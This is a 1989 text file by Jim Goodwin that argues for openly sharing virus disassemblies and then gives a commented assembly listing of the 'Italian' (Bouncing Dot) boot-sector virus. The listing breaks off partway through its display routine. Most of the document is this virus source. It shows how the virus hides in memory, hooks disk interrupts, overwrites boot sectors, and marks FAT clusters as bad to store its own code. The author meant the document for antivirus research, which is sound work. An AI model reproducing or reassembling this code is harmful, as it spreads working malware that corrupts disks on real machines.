	The following document is copyrighted by Jim Goodwin, 1989.  It may be
copied and distributed freely, as long as no changes are made.  For further
information or comments, I may be contacted on the Bulletin Board Society's
Homebase board - (408) 988 4004.  Additional virus analyses are currently
being finalized and the results will be published in future versions of this
document.  
                                     Jim Goodwin - April 7, 1989 
 


            AN ANALYSIS OF COMPUTER VIRUS STRUCTURES


	There has been much disagreement within the virus research community
about the wisdom of distributing detailed information about viruses,
including disassemblies of viruses.  Some would say that virus disassemblies
can be easily re-assembled and returned to a live state; that they show
people how to write viruses or that they give people ideas that they would
not otherwise have.  The opposing view holds that detailed information must
be shared freely in order to effectively combat the virus spread.  Proponents
of shared information point out that hundreds of people are re-inventing the
wheel by disassembling viruses that have already been disassembled many
times over.  They argue that it does not take a disassembly to enable someone
to write a virus; that anyone with even a moderate understanding of
programming can do so, and that live viruses are so common that anyone
wishing to obtain one can easily get their hands on one.
	I very strongly favor the free information viewpoint.  It is clear that
we, as a user community, are suffering greatly from a lack of concrete
knowledge.  PC Magazine, as the prime example of this lack of knowledge,
performed an evaluation of antiviral products in its April issue that is
shocking to anyone with even a remote understanding of viruses.  The products
chosen were the TSR type of prevention products (Class I products in CVIA
terminology), and these products are universally known to be practically
useless.  They were tested against only three viruses, none of them boot
sector infectors (since TSR type products cannot possibly prevent such
infections), in spite of the fact that boot infectors account for over 75%
of all infection occurrences.  The editor's choice was Flu-shot and, while
I have nothing against Greenberg or his programming skills, the product, like
all TSRs, is almost completely ineffective.  Even a child could write a virus
to evade the interrupt vectoring capabilities of TSRs in a DOS environment. 
These and other circumstances make it obvious that we are in desperate need
of education.
	I have disassembled dozens of viruses, and I now know that it takes no
specialized knowledge to write a virus.  Literally anyone can write one.  The
concept is absurdly simple, understood by even beginning programmers.  We
have merely surrounded the virus issue with an air of mystique that makes it
appear that there is some magic formula that must be guarded from the crowd
of people waiting to write viruses.  This is total nonsense.  There is no
magic.  There is no subtlety.  A program is merely written that copies itself
and attaches itself to another program.  If this is the secret we are trying
to protect, then we have become foolish.
	The truth is, we need to study and disseminate existing virus structures
far more than we need to hide them from crackers.  A cracker gains little
from a disassembly.  A researcher attempting to write a disinfectant program,
on the other hand, gains a great deal.  The cracker is the only person who
gains from the existing atmosphere of restricted information flow.  If few
people know the internals of a virus, then there is little likelihood that
an effective remedy for the virus will be forthcoming.  If many people have
access, then one or more will certainly develop an identification and removal
product.
	I also want to point out that full virus disassemblies have previously
been published in at least three books and  four international magazines with
no known ill effects, and a great deal of positive support from readers.
	I do not expect the previous brief discussion will change the minds of
those people who insist on a restricted flow of detailed information.  I do
hope, however, that those of you who have been shy about your own desires to
open up and share information, will take heart and pass on the enclosed
disassemblies to those people that you feel might benefit from them.
	I would like to take this opportunity to give my heartfelt thanks to
John McAfee (who mildly disagrees with my approach) for his tireless efforts
to collect and classify viruses from multiple computer architectures.  His
work, more than any others, has inspired me to give my all to this effort. 
I would also like to recognize the excellent collective work of the Computer
Virus Industry Association, for their concise analysis of antiviral measures
and their overwhelming contribution to my collection of 60 odd viruses. 
Neither John nor the Association, by the way, is in any way responsible for
my publication and distribution of this document.  I take sole and full
responsibility.



			    			THE VIRUSES

*************************************************************************
-------------------------------------------------------------------------
-------------------------------------------------------------------------
*************************************************************************

The "Italian Virus"
Also Called - Bouncing Dot, Vera Cruz and Missouri virus.

   ; ORIGININ ADDRESS -7C00H 

 
RAM   SEGMENT AT 0

   ; SYSTEM DATA

   ORG   20H
INT8OF   DW ?        ; INTERRUPT 8 OFFSET
INT8SG   DW ?        ; INTERRUPT 8 SEGMENT
   ORG   4CH
INT19O   DW ?        ; INTERRUPT 19 OFFSET
INT19S   DW ?        ; INTERRUPT 19 SEGMENT
   ORG   413H
RAMSIZ   DW ?        ; TOTAL RAM SIZE

   ; BPB OF VIRUS BOOT RECORD

   ORG   7C0BH
BYPSEC   DW ?        ; BYTES PER SECTOR
NUMSEC   DB ?        ; SECTORS PER ALLOCATION UNIT
SECRES   DW ?        ; RESERVED SECTORS
FATNUM   DB ?        ; NUMBER OF FATS
DIRNUM   DW ?        ; NUMBER OF ROOT DIR ENTRIES
SECNUM   DW ?        ; NUMBER OF SECTORS
MEDIAD   DB ?        ; MEDIA DESCRIPTOR
SECFAT   DW ?        ; NUMBER OF SECTORS PER FAT
SECTRK   DW ?        ; SECTORS PER TRACK
HEDNUM   DW ?        ; NUMBER OF HEADS
HIDSEC   DW ?        ; NUMBER OF HIDDEN SECTORS (LOW ORDER)

   ; INTERRUPT 19 (13H) BRANCH ADDRESS

   ORG   7D2AH

ORIG19   DW ?        ; ORIGINAL INT 19 OFFSET
ORG19S   DW ?        ; ORIGINAL INT 19 SEGMENT

   ; INSTALLATION DATA AREA

   ORG   7DF3H
CURFAT   DW ?     ; CURRENT FAT 
CURCLS   DW ?     ; SECTOR NUMBER OF FIRST CLUSTER
SWITCH   DB ?     ; SWITCHES
            ;          - 01H - NESTED INTERRUPT
            ;          - 02H - TIMER INTERRUPT 
            ;          - 04H - 16-BIT FAT
LSTDRV   DB ?     ; LAST DRIVE USED
REMAIN   DW ?     ; SECTOR NUMBER OF REST OF CODE
RESERV   DB ?     ; RESERVED SPACE FOR FUTURE HACKING
FLAG01   DW ?     ; FLAG FIELD

   ; DATA AREA

   ORG   7EB0H
LASTTM   DW ?        ; SYSTEM TIME LAST CALLED
PRCFAT   DB ?        ; PROCESSED FAT / 256

   ; INTERRUPT 8 BRANCH ADDRESS

   ORG   7FC9H
ORG08O   DW ?        ; ORIGINAL INT 8 OFFSET
ORG08S   DW ?        ; ORIGINAL INT 8 SEGMENT

   ; DISPLAY DATA AREA

   ORG   7FCDH
CHARAT   DW ?        ; CHARACTER AND ATTRIBUTES
ROWCOL   DW ?        ; ROW AND COLUMN POSITIONS
ROWCLM   DW ?        ; ROW AND COLUMN MOVEMENT
GRAPHM   DB ?        ; GRAPHICS MODE SWITCH
MODEAP   DW ?        ; MODE AND ACTIVE PAGE
COLUMN   DB ?        ; VISIBLE COLUMNS - 1

   ; BPB OF ORIGINAL BOOT RECORD

   ORG   800BH
BIPSEC   DW ?        ; BYTES PER SECTOR
ALCSEC   DB ?        ; SECTORS PER ALLOCATION UNIT
VERVED   DW ?        ; RESERVED SECTORS
RUMNUM   DB ?        ; NUMBER OF FATS
ROTRID   DW ?        ; NUMBER OF ROOT DIR ENTRIES
NUOSEC   DW ?        ; NUMBER OF SECTORS
MIASET   DB ?        ; MEDIA DESCRIPTOR
FASNUM   DW ?        ; NUMBER OF SECTORS PER FAT
TRASSC   DW ?        ; SECTORS PER TRACK
NUOHED   DW ?        ; NUMBER OF HEADS
HIDESC   DW ?        ; NUMBER OF HIDDEN SECTORS (LOW ORDER)


   ORG   81F5H
FSTCLS   DW ?        ; SECTOR NUMBER OF FIRST CLUSTER
SWITCB   DB ?        ; SWITCHES - 01H - NESTED INTERRUPT
         ;             - 02H - TIMER INTERRUPT INSTALLED
         ;             - 04H - 16-BIT FAT
LASTUS   DB ?        ; DRIVE LAST USED
REMAI2   DW ?        ; SECTOR NUMBER OF REST OF CODE
LATER2   DB ?        ; TYPE SWITCH
LATER3   DW 2 DUP (?)	 ; INSTALLED.. HMMM?


RAM   ENDS

CODE  SEGMENT BYTE PUBLIC 'CODE'
   ASSUME CS:CODE,DS:RAM

START:  
   JMP   HIDE_ME_PLEASE      ; BRANCH ROUND BPB TABLE

   DB 'MSDOS3.2'     ; OEM AND VERSION

   DW 512      ; BYPSEC - BYTES PER SECTOR
   DB 2        ; NUMSEC - SECTORS PER ALLOCATION UNIT
   DW 1        ; SECRES - RESERVED SECTORS
   DB 2        ; FATNUM - NUMBER OF FATS
   DW 112      ; DIRNUM - NUMBER OF ROOT DIR ENTRIES
   DW 720      ; SECNUM - NUMBER OF SECTORS
   DB 0FDH     ; MEDIAD - MEDIA DESCRIPTOR
   DW 2        ; SECFAT - NUMBER OF SECTORS PER FAT
   DW 9        ; SECTRK - SECTORS PER TRACK
   DW 2        ; HEDNUM - NUMBER OF HEADS
   DW 0        ; HIDSEC - NUMBER OF HIDDEN SECTORS (LOW ORDER)

   ; START OF PROCESSING

   ; HIDE 2K OF RAM FROM SYSTEM AND MOVE INTO THIS HIDDEN AREA

HIDE_ME_PLEASE: 
   XOR   AX,AX
   MOV   SS,AX       ; STACK SEGMENT ZERO
   MOV   SP,7C00H    ; SET STACK POINTER TO START OF BUFFER
   MOV   DS,AX       ; DATA SEGMENT ZERO
   MOV   AX,RAMSIZ   ; GET TOTAL RAM SIZE
   SUB   AX,2        ; SUBTRACT 2K
   MOV   RAMSIZ,AX   ; REPLACE AMENDED RAM SIZE
   MOV   CL,6        ; NUMBER OF POSITIONS TO SHIFT
   SHL   AX,CL       ; MULTIPLY RAM SIZE BY 64 (SEGMENT ADDRESS)
   SUB   AX,7C0H     ; SUBTRACT BUFFER OFFSET
   MOV   ES,AX       ; SET TARGET SEGMENT ADDRESS
   MOV   SI,7C00H    ; LOAD BUFFER TARGET OFFSET
   MOV   DI,SI       ; COPY OFFSET FOR SOURCE
   MOV   CX,0100H    ; NUMBER OF WORDS TO MOVE
   REPZ  MOVSW       ; DUPLICATE BOOT SECTOR IN HIGH STORAGE
;  MOV   CS,AX       ; LOAD SEGMENT OF NEW LOCATION
                     ; THIS IS THE ILLEGAL OPCODE!
   DB 08EH, 0C8H     ; PREVIOUS COMMAND HARD CODED

   ; FROM THIS POINT ON WILL BE RUNNING IN HIGH STORAGE

   PUSH  CS             ; \ SET DS EQUAL TO CS
   POP   DS             ; /
   CALL  SET_IT_UP
SET_IT_UP: 
   XOR   AH,AH          ; INITIALISE DISK SUB-SYSTEM
   INT   13H            ; DISK INTERRUPT
   AND   LSTDRV,80H     ; SET ADDRESS FOR HARD DISK
   MOV   BX,REMAIN      ; GET SECTOR OF REST OF CODE
   PUSH  CS             ; \ GET CURRENT SEGMENT
   POP   AX             ; /
   SUB   AX,20H         ; ADDRESS BACK ONE SECTOR
   MOV   ES,AX          ; SET BUFFER SEGMENT FOR REST OF CODE
   CALL  READ_IT_IN         ; READ REST OF CODE
   MOV   BX,REMAIN      ; GET SECTOR OF REST OF CODE
   INC   BX             ; ADDRESS TO BOOT SECTOR STORE
   MOV   AX,0FFC0H      ; WRAP-AROUND ADDRESS (= -400H)
   MOV   ES,AX          ; SET BUFFER SEGMENT FOR BOOT SECTOR
   CALL  READ_IT_IN         ; READ REAL BOOT SECTOR
   XOR   AX,AX
   MOV   SWITCH,AL      ; SET OFF ALL SWITCHES
   MOV   DS,AX          ; DATA SEGMENT ZERO
   MOV   AX,INT19O      ; SAVE INT 19 OFFSET
   MOV   BX,INT19S      ; SAVE INT 19 SEGMENT
   MOV   INT19O,OFFSET INT_19+7C00H ; NEW INT 19 OFFSET
   MOV   INT19S,CS      ; NEW INT 19 SEGMENT
   PUSH  CS             ; \ SET DS EQUAL TO CS
   POP   DS             ; /
   MOV   ORIG19,AX      ; STORE OLD INT 19 OFFSET
   MOV   ORG19S,BX      ; STORE OLD INT 19 SEGMENT
   MOV   DL,LSTDRV      ; GET DRIVE NUMBER
   DB 0EAH              ; FAR JUMP TO BOOT SECTOR
   DW 7C00H, 0

WRITE_IT_OUT: 
   MOV   AX,301H     ; WRITE ONE SECTOR
   JMP   SHORT GET_SECTOR

READ_IT_IN: 
   MOV   AX,201H     ; READ ONE SECTOR
GET_SECTOR: 
   XCHG  BX,AX       ; MOVE SECTOR NUMBER TO AX
   ADD   AX,HIDSEC   ; ADD HIDDEN SECTORS
   XOR   DX,DX       ; CLEAR FOR DIVISION
   DIV   SECTRK      ; DIVIDE BY SECTORS PER TRACK
   INC   DL          ; ADD ONE TO ODD SECTORS
   MOV   CH,DL       ; SAVE SECTOR NUMBER
   XOR   DX,DX       ; CLEAR FOR DIVISION
   DIV   HEDNUM      ; DIVIDE BY NUMBER OF HEADS
   MOV   CL,6        ; POSITIONS TO MOVE
   SHL   AH,CL       ; MOVE TOP TWO BITS OF TRACK
   OR    AH,CH       ; MOVE IN SECTOR NUMBER
   MOV   CX,AX       ; MOVE TO CORRECT REGISTER
   XCHG  CH,CL       ; ..AND CORRECT POSITION IN REG
   MOV   DH,DL       ; MOVE HEAD NUMBER
   MOV   AX,BX       ; RECOVER CONTENTS OF AX
BRING_IN: 
   MOV   DL,LSTDRV   ; GET DRIVE NUMBER
   MOV   BX,8000H    ; SET BUFFER ADDRESS
   INT   13H         ; DISK INTERRUPT
   JNB   GO_BACK     ; BRANCH IF NO ERRORS
   POP   AX
GO_BACK:
   RET

   ; INTERRUPT 19 (13H) (DISK) ROUTINE

INT_19: 
   PUSH  DS
   PUSH  ES
   PUSH  AX
   PUSH  BX
   PUSH  CX
   PUSH  DX
   PUSH  CS             ; \ SET DS EQUAL TO CS
   POP   DS             ; /
   PUSH  CS             ; \ SET ES EQUAL TO CS
   POP   ES             ; /
   TEST  SWITCH,1       ; TEST NESTED INTERRUPT SWITCH
   JNZ   PASS_OUT         ; EXIT IF ON
   CMP   AH,2           ; TEST FOR READ SECTOR
   JNZ   PASS_OUT         ; EXIT IF NOT
   CMP   LSTDRV,DL      ; COMPARE DRIVE NUMBER
   MOV   LSTDRV,DL      ; SAVE DRIVE NUMBER
   JNZ   INT_SWITCH         ; BRANCH IF DIFFERENT THIS TIME

   ; THIS IS THE ACTIVATION CODE.  IT HAS A 'WINDOW' OF JUST LESS
   ; THAN A SECOND, APPROXIMATELY EVERY HALF HOUR, DURING WHICH
   ; TIME A DISK-READ WILL SWITCH IT ON.

   XOR   AH,AH          ; GET SYSTEM CLOCK
   INT   1AH            ; SYSTEM CLOCK INTERRUPT
   TEST  DH,7FH         ; TEST LOW WORD HIGH BYTE
   JNZ   DO_TIME
   TEST  DL,0F0H        ; TEST LOW WORD LOW BYTE
   JNZ   DO_TIME
   PUSH  DX             ; SAVE SYSTEM TIME
   CALL  INTERRUPT_08         ; INSTALL SYSTEM CLOCK ROUTINE
   POP   DX             ; RECOVER SYSTEM TIME
DO_TIME: 
   MOV   CX,DX          ; COPY SYSTEM TIME
   SUB   DX,LASTTM      ; INTERVAL SINCE LAST CALL
   MOV   LASTTM,CX      ; SAVE SYSTEM TIME
   SUB   DX,24H         ; SUBTRACT 2 SECONDS
   JB    PASS_OUT         ; RETURN IF LESS THAN TWO SECONDS
INT_SWITCH: 
   OR SWITCH,1          ; SET ON NESTED INTERRUPT SWITCH
   PUSH  SI
   PUSH  DI
   CALL  DISK_INSTALL         ; INSTALL ON DISK
   POP   DI
   POP   SI
   AND   SWITCH,0FEH    ; SET OFF NESTED INTERRUPT SWITCH
PASS_OUT: 
   POP   DX
   POP   CX
   POP   BX
   POP   AX
   POP   ES
   POP   DS
   DB 0EAH        ; FAR JUMP TO ORIGINAL INT 19
   DW 01FBH       ; ORIG19 - ORIGINAL INT 19 OFFSET
   DW 0C800H      ; ORG19S - ORIGINAL INT 19 SEGMENT

   ; DISK INSTALLATION

DISK_INSTALL: 
   MOV   AX,201H        ; READ ONE SECTOR
   MOV   DH,0           ; HEAD NUMBER 0
   MOV   CX,1           ; TRACK 0, SECTOR 1
   CALL  BRING_IN         ; READ FIRST SECTOR FROM DISK
   TEST  LSTDRV,80H     ; TEST FOR HARD DRIVE
   JZ    FAT_CHECK         ; BRANCH IF NOT

   ; HARD DISK - PARTITION TABLE

   MOV   SI,81BEH       ; ADDRESS TO PARTITION TABLE
   MOV   CX,4           ; NUMBER OF ENTRIES IN TABLE
NEXT_PART_ENTRY: 
   CMP   BYTE PTR [SI+4],1 ; TEST FOR DOS 12-BIT FAT
   JZ    SNARF_UP_THE_BOOT         ; BRANCH IF YES
   CMP   BYTE PTR [SI+4],4 ; TEST FOR DOS 16-BIT FAT
   JZ    SNARF_UP_THE_BOOT         ; BRANCH IF YES
   ADD   SI,10H         ; ADDRESS TO NEXT ENTRY
   LOOP  NEXT_PART_ENTRY         ; LOOP THROUGH TABLE
   RET

   ; HARD DISK - GET BOOT RECORD

SNARF_UP_THE_BOOT: 
   MOV   DX,[SI]        ; GET HEAD NUMBER OF BOOT
   MOV   CX,[SI+2]      ; GET TRACK AND SECTOR OF BOOT
   MOV   AX,201H        ; READ ONE SECTOR
   CALL  BRING_IN         ; GET BOOT SECTOR FOR PARTITION

   ; BOOT SECTOR PROCESSING

FAT_CHECK: 
   MOV   SI,8002H       ; ADDRESS TO BPB SOURCE
   MOV   DI,7C02H       ; ADDRESS TO BPB TARGET
   MOV   CX,1CH         ; LENGTH OF BPB
   REPZ  MOVSB          ; COPY BPB
   CMP   LATER3,1357H   ; IS VIRUS INSTALLED ALREADY
   JNZ   WHERE_BE_THE_FAT         ; BRANCH IF NOT
   CMP   LATER2,0
   JNB   HEAD_EM_OUT
   MOV   AX,FSTCLS      ; GET SECTOR NO OF FIRST CLUSTER
   MOV   CURCLS,AX      ; SAVE IT
   MOV   SI,REMAI2
   JMP   PLACE_VIRUS

HEAD_EM_OUT:  RET

   ; CALCULATE LOCATION OF FAT AND FIRST CLUSTER

WHERE_BE_THE_FAT: 
   CMP   BIPSEC,200H    ; SECTOR SIZE 512
   JNZ   HEAD_EM_OUT         ; EXIT IF DIFFERENT SIZE
   CMP   ALCSEC,2       ; SECTORS PER CLUSTER
   JB    HEAD_EM_OUT         ; EXIT IF LESS THAN 2
   MOV   CX,VERVED      ; GET RESERVED SECTORS
   MOV   AL,RUMNUM      ; NUMBER OF FATS
   CBW                  ; FILL OUT REGISTER
   MUL   FASNUM         ; SECTORS PER FAT
   ADD   CX,AX          ; SECTOR OF ROOT DIR
   MOV   AX,20H         ; LENGTH OF DIR ENTRY
   MUL   ROTRID         ; NUMBER OF DIR ENTRIES
   ADD   AX,1FFH        ; ROUND UP TO WHOLE SECTORS
   MOV   BX,200H        ; LENGTH OF SECTOR
   DIV   BX             ; SECTORS OF ROOT DIR
   ADD   CX,AX          ; SECTOR OF FIRST CLUSTER
   MOV   CURCLS,CX      ; SAVE THIS
   MOV   AX,SECNUM      ; GET NUMBER OF SECTORS
   SUB   AX,CURCLS      ; SUBTRACT NON-DATA SECTORS
   MOV   BL,NUMSEC      ; GET SECTORS PER CLUSTER
   XOR   DX,DX
   XOR   BH,BH          ; CLEAR TOP OF REGISTER
   DIV   BX             ; CALCULATE NUMBER OF CLUSTERS
   INC   AX             ; ALLOW FOR NUMBER ONE NOT USED
   MOV   DI,AX
   AND   SWITCH,0FBH    ; SET OFF 16-BIT FAT SWITCH
   CMP   AX,0FF0H       ; SEE IF 12-BIT FAT
   JBE   WRITE_FAT         ; BRANCH IF YES
   OR    SWITCH,4       ; SET ON 16-BIT FAT SWITCH
WRITE_FAT: 
   MOV   SI,1           ; INITIALISE FAT ENTRY COUNT
   MOV   BX,SECRES      ; GET RESERVED SECTORS
   DEC   BX             ; ALLOW FOR ADDITION
   MOV   CURFAT,BX      ; SAVE CURRENT FAT SECTOR
   MOV   PRCFAT,0FEH    ; SET PROCESSED FAT LENGTH TO -2
   JMP   SHORT READ_FAT

   ; DATA AREA

   DW 2     ; CURFAT - CURRENT FAT SECTOR
   DW 12    ; CURCLS - SECTOR NUMBER OF FIRST CLUSTER
   DB 1     ; SWITCH - SWITCHES
            ;        - 01H - NESTED INTERRUPT
            ;        - 02H - TIMER INTERRUPT INSTALLED
            ;        - 04H - 16-BIT FAT
   DB 0               ; LSTDRV - DRIVE LAST USED
   DW 02B8H           ; REMAIN - SECTOR NUMBER OF REST OF CODE
   DB 0               ; RESERV - RESERVED SPACE.. FOR FUTURE HACKING
   DW 1357H, 0AA55H   ; FLAG01 - FLAG FIELD.

      ; END OF FIRST SECTOR, START OF SECOND

   ; SEARCH FAT FOR UNUSED CLUSTER

READ_FAT: 
   INC   CURFAT         ; ADDRESS TO NEXT FAT SECTOR
   MOV   BX,CURFAT      ; GET NEXT SECTOR NUMBER
   ADD   PRCFAT,2       ; ADD TO PROCESSED FAT LENGTH
   CALL  READ_IT_IN         ; READ FAT SECTOR
   JMP   SHORT GET_EM_NEXT

FAT_SWITCH: 
   MOV   AX,3        ; LENGTH OF TWO FAT ENTRIES
   TEST  SWITCH,4    ; TEST 16-BIT FAT SWITCH
   JZ FAT_ENTRY         ; BRANCH IF OFF
   INC   AX          ; FOUR BYTES NOT THREE
FAT_ENTRY: 
   MUL   SI          ; MULTIPLY BY FAT ENTRY NUMBER
   SHR   AX,1        ; DIVIDE BY TWO
   SUB   AH,PRCFAT   ; SUBTRACT PROCESSED FAT LENGTH
   MOV   BX,AX       ; COPY DISPLACEMENT
   CMP   BX,1FFH     ; SEE IF IN THIS SECTOR
   JNB   READ_FAT      ; BRANCH IF NOT
   MOV   DX,[BX+8000H]     ; GET ENTRY
   TEST  SWITCH,4    ; TEST 16-BIT FAT SWITCH
   JNZ   F_TEST_1      ; BRANCH IF ON
   MOV   CL,4        ; POSITIONS TO MOVE
   TEST  SI,1        ; TEST FOR ODD-NUMBERED ENTRY
   JZ    FAT_TOP      ; BRANCH IF NOT
   SHR   DX,CL       ; SHIFT EVEN ENTRY INTO POSITION
FAT_TOP: 
   AND   DH,0FH      ; SWITCH OFF TOP BITS
F_TEST_1: 
   TEST  DX,0FFFFH   ; TEST ALL BITS
   JZ    MAKE_BAD      ; BRANCH IF NONE ON
GET_EM_NEXT: 
   INC   SI          ; NEXT FAT ENTRY
   CMP   SI,DI       ; HAS LAST ENTRY BEEN PROCESSED
   JBE   FAT_SWITCH      ; BRANCH IF NOT
   RET

   ; SPARE CLUSTER FOUND - INSTALL ON DISK

MAKE_BAD: 
   MOV   DX,0FFF7H   ; LOAD BAD SECTOR MARKER
   TEST  SWITCH,4    ; TEST 16-BIT FAT SWITCH
   JNZ   FIND_SECTOR      ; BRANCH IF ON
   AND   DH,0FH      ; CONVERT MARKER TO FF7H
   MOV   CL,4        ; BITS TO MOVE
   TEST  SI,1        ; TEST FOR ODD-NUMBERED ENTRY
   JZ    FIND_SECTOR      ; BRANCH IF NOT
   SHL   DX,CL       ; MOVE INTO POSITION
FIND_SECTOR: 
   OR [BX+8000H],DX  ; PUT MARKER INTO FAT
   MOV   BX,CURFAT   ; GET SECTOR NUMBER
   CALL  WRITE_IT_OUT      ; WRITE FAT SECTOR
   MOV   AX,SI       ; GET ENTRY NUMBER
   SUB   AX,2        ; SUBTRACT FIRST CLUSTER NUMBER
   MOV   BL,NUMSEC   ; GET SECTORS PER CLUSTER
   XOR   BH,BH       ; CLEAR TOP OF REGISTER
   MUL   BX          ; CONVERT TO SECTORS
   ADD   AX,CURCLS   ; ADD SECTOR NUMBER OF 1ST CLUSTER
   MOV   SI,AX       ; SAVE REAL SECTOR NUMBER
   MOV   BX,0        ; SECTOR ZERO
   CALL  READ_IT_IN      ; READ BOOT SECTOR
   MOV   BX,SI       ; GET OUTPUT SECTOR NUMBER
   INC   BX          ; ADDRESS TO NEXT SECTOR
   CALL  WRITE_IT_OUT      ; WRITE BOOT SECTOR TO STORE
PLACE_VIRUS: 
   MOV   BX,SI       ; GET OUTPUT SECTOR NUMBER
   MOV   REMAIN,SI   ; SAVE SECTOR NO OF REST OF CODE
   PUSH  CS          ; \ GET CURRENT SEGMENT
   POP   AX          ; /
   SUB   AX,20H      ; ADDRESS BACK TO VIRUS (2)
   MOV   ES,AX       ; SET BUFFER ADDRESS
   CALL  WRITE_IT_OUT      ; WRITE VIRUS (2)
   PUSH  CS          ; \ GET CURRENT SEGMENT
   POP   AX          ; /
   SUB   AX,40H      ; ADDRESS BACK TO VIRUS (1)
   MOV   ES,AX       ; SET BUFFER ADDRESS
   MOV   BX,0        ; SECTOR ZERO
   CALL  WRITE_IT_OUT      ; WRITE VIRUS (1)
   RET

   DW 20CH        ; LASTTM - SYSTEM TIME LAST CALLED
   DB 2           ; PRCFAT - PROCESSED FAT / 256

   ; INSTALL INTERRUPT 8 (SYSTEM CLOCK) ROUTINE IF NOT DONE

INTERRUPT_08: 
   TEST  SWITCH,2       ; TEST INT 8 INSTALLED SWITCH
   JNZ   FINISH_TIME         ; BRANCH IF ON
   OR    SWITCH,2       ; SET ON INT 8 INSTALLED SWITCH
   MOV   AX,0           ; \ SEGMENT ZERO
   MOV   DS,AX          ; /
   MOV   AX,INT8OF      ; SAVE INT 8 OFFSET
   MOV   BX,INT8SG      ; SAVE INT 8 SEGMENT
   MOV   INT8OF,OFFSET DO_VIDEO+7C00H ; NEW INT 8 OFFSET
   MOV   INT8SG,CS      ; NEW INT 8 SEGMENT
   PUSH  CS             ; \ SET DS EQUAL TO CS
   POP   DS             ; /
   MOV   ORG08O,AX      ; STORE OLD INT 8 OFFSET
   MOV   ORG08S,BX      ; STORE OLD INT 8 SEGMENT
FINISH_TIME: 
   RET

   ; INTERRUPT 10

DO_VIDEO: 
   PUSH  DS
   PUSH  AX
   PUSH  BX
   PUSH  CX
   PUSH  DX
   PUSH  CS             ; \ SET DS EQUAL TO CS
   POP   DS             ; /
   MOV   AH,0FH         ; GET VDU PARAMETERS
   INT   10H            ; VDU INTERRUPT
   MOV   BL,AL          ; VDU MODE
   CMP   BX,MODEAP      ; TEST MODE AND ACTIVE PAGE
   JZ    CHARACTER_ATTRIB         ; BRANCH IF UNCHANGED
   MOV   MODEAP,BX      ; SAVE MODE AND ACTIVE PAGE
   DEC   AH             ; VISIBLE COLUMNS
   MOV   COLUMN,AH      ; SAVE VISIBLE COLUMNS - 1
   MOV   AH,1           ; GRAPHICS MODE SWITCH ON
   CMP   BL,7           ; TEST FOR TELETYPE MODE
   JNZ   IS_IT_GRAPHICS         ; BRANCH IF NOT
   DEC   AH             ; GRAPHICS MODE SWITCH OFF
IS_IT_GRAPHICS: 
   CMP   BL,4           ; TEST FOR GRAPHICS MODE
   JNB   ROW_AND_COLUMN         ; BRANCH IF GRAPHICS OR TELETYPE
   DEC   AH             ; GRAPHICS MODE SWITCH OFF
ROW_AND_COLUMN: 
   MOV   GRAPHM,AH      ; STORE GRAPHICS MODE SWITCH
   MOV   ROWCOL,101H    ; SET ROW AND COLUMN POSITIONS
   MOV   ROWCLM,101H    ; SET ROW AND COLUMN MOVEMENT
   MOV   AH,3           ; GET CURSOR ADDRESS
   INT   10H            ; VDU INTERRUPT
   PUSH  DX             ; SAVE CURSOR ADDRESS
   MOV   DX,ROWCOL      ; GET ROW AND COLUMN POSITIONS
   JMP   SHORT VIDEO_01

CHARACTER_ATTRIB: 
   MOV   AH,3        ; GET CURSOR ADDRESS
   INT   10H         ; VDU INTERRUPT
   PUSH  DX
   MOV   AH,2        ; SET CURSOR ADDRESS
   MOV   DX,ROWCOL   ; GET ROW AND COLUMN POSITIONS
   INT   10H         ; VDU INTERRUPT
   MOV   AX,CHARAT   ; GET CHARACTER AND ATTRIBUTES
   CMP   GRAPHM,1    ; TEST FOR GRAPHICS MODE
   JNZ   WRITE_CHAR      ; BRANCH IF NOT
   MOV   AX,8307H    ; CHARACTER AND WRITE MODE
WRITE_CHAR: 
   MOV   BL,AH       ; MOVE ATTRIBUTE OR WRITE MODE
   MOV   CX,1        ; ONLY ONCE
   MOV   AH,9        ; WRITE CHARACTER AND ATTRIBUTES
   INT   10H         ; VDU INTERRUPT
VIDEO_01: 
   MOV   CX,ROWCLM      ; GET ROW AND COLUMN MOVEMENT
   CMP   DH,0           ; IS ROW ZERO
   JNZ   VIDEO_02         ; BRANCH IF NOT
   XOR   CH,0FFH        ; \ REVERSE ROW MOVEMENT
   INC   CH             ; /
VIDEO_02: 
   CMP   DH,18H         ; IS ROW 24
   JNZ   VIDEO_04         ; BRANCH IF NOT
   XOR   CH,0FFH        ; \ REVERSE ROW MOVEMENT
   INC   CH             ; /
VIDEO_04: 
   CMP   DL,0           ; IS COLUMN 0
   JNZ   VIDEO_05         ; BRANCH IF NOT
   XOR   CL,0FFH        ; \ REVERSE COLUMN MOVEMENT
   INC   CL             ; /
VIDEO_05: 
   CMP   DL,COLUMN      ; IS COLUMN LAST VISIBLE COLUMN
   JNZ   VIDEO_07         ; BRANCH IF NOT
   XOR   CL,0FFH        ; \ REVERSE COLUMN MOVEMENT
   INC   CL             ; /
VIDEO_07: 
   CMP   CX,ROWCLM      ; COMPARE ROW AND COLUMN MOVEMENT
   JNZ   VIDEO_09         ; BRANCH IF CHANGED
   MOV   AX,CHARAT      ; GET CHARACTER AND ATTRIBUTES
   AND   AL,7           ; SWITCH OFF TOP BIT OF CHARACTER
   CMP   AL,3           ; TEST BITS 1 AND 2
   JNZ   VIDEO_08         ; BRANCH IF OFF
   XOR   CH,0FFH        ; \ REVERSE ROW MOVEMENT
   INC   CH             ; /
VIDEO_08: 
   CMP   AL,5           ; TEST BITS 1 AND 3
   JNZ   VIDEO_09         ; BRANCH IF OFF
   XOR   CL,0FFH        ; \ REVERSE COLUMN MOVEMENT
   INC   CL             ; /
VIDEO_09: 
   ADD   DL,CL       ; NEW COLUMN POSITION
   ADD   DH,CH       ; NEW ROW POSITION
   MOV   ROWCLM,CX   ; SAVE ROW AND COLUMN POSITIONS
   MOV   ROWCOL,DX   ; SAVE ROW AND COLUMN POSITIONS
   MOV   AH,2        ; SET CURSOR ADDRESS
   INT   10H         ; VDU INTERRUPT
   MOV   AH,8        ; READ CHARACTER AND ATTRIBUTES
   INT   10H         ; VDU INTERRUPT
   MOV   CHARAT,AX   ; SAVE CHARACTER AND ATTRIBUTES
   MOV   BL,AH       ; MOVE ATTRIBUTES
   CMP   GRAPHM,1    ; TEST FOR GRAPHICS MODE
   JNZ   VIDEO_10      ; BRANCH IF NOT
   MOV   BL,83H      ; WRITE MODE FOR GRAPHICS
VIDEO_10: 
   MOV   CX,1        ; ONCE ONLY
   MOV   AX,907H     ; WRITE CHARACTER AND ATTRIBUTES
   INT   10H         ; VDU INTERRUPT
   POP   DX          ; RESTORE CURSOR ADDRESS
   MOV   AH,2        ; SET CURSOR ADDRESS
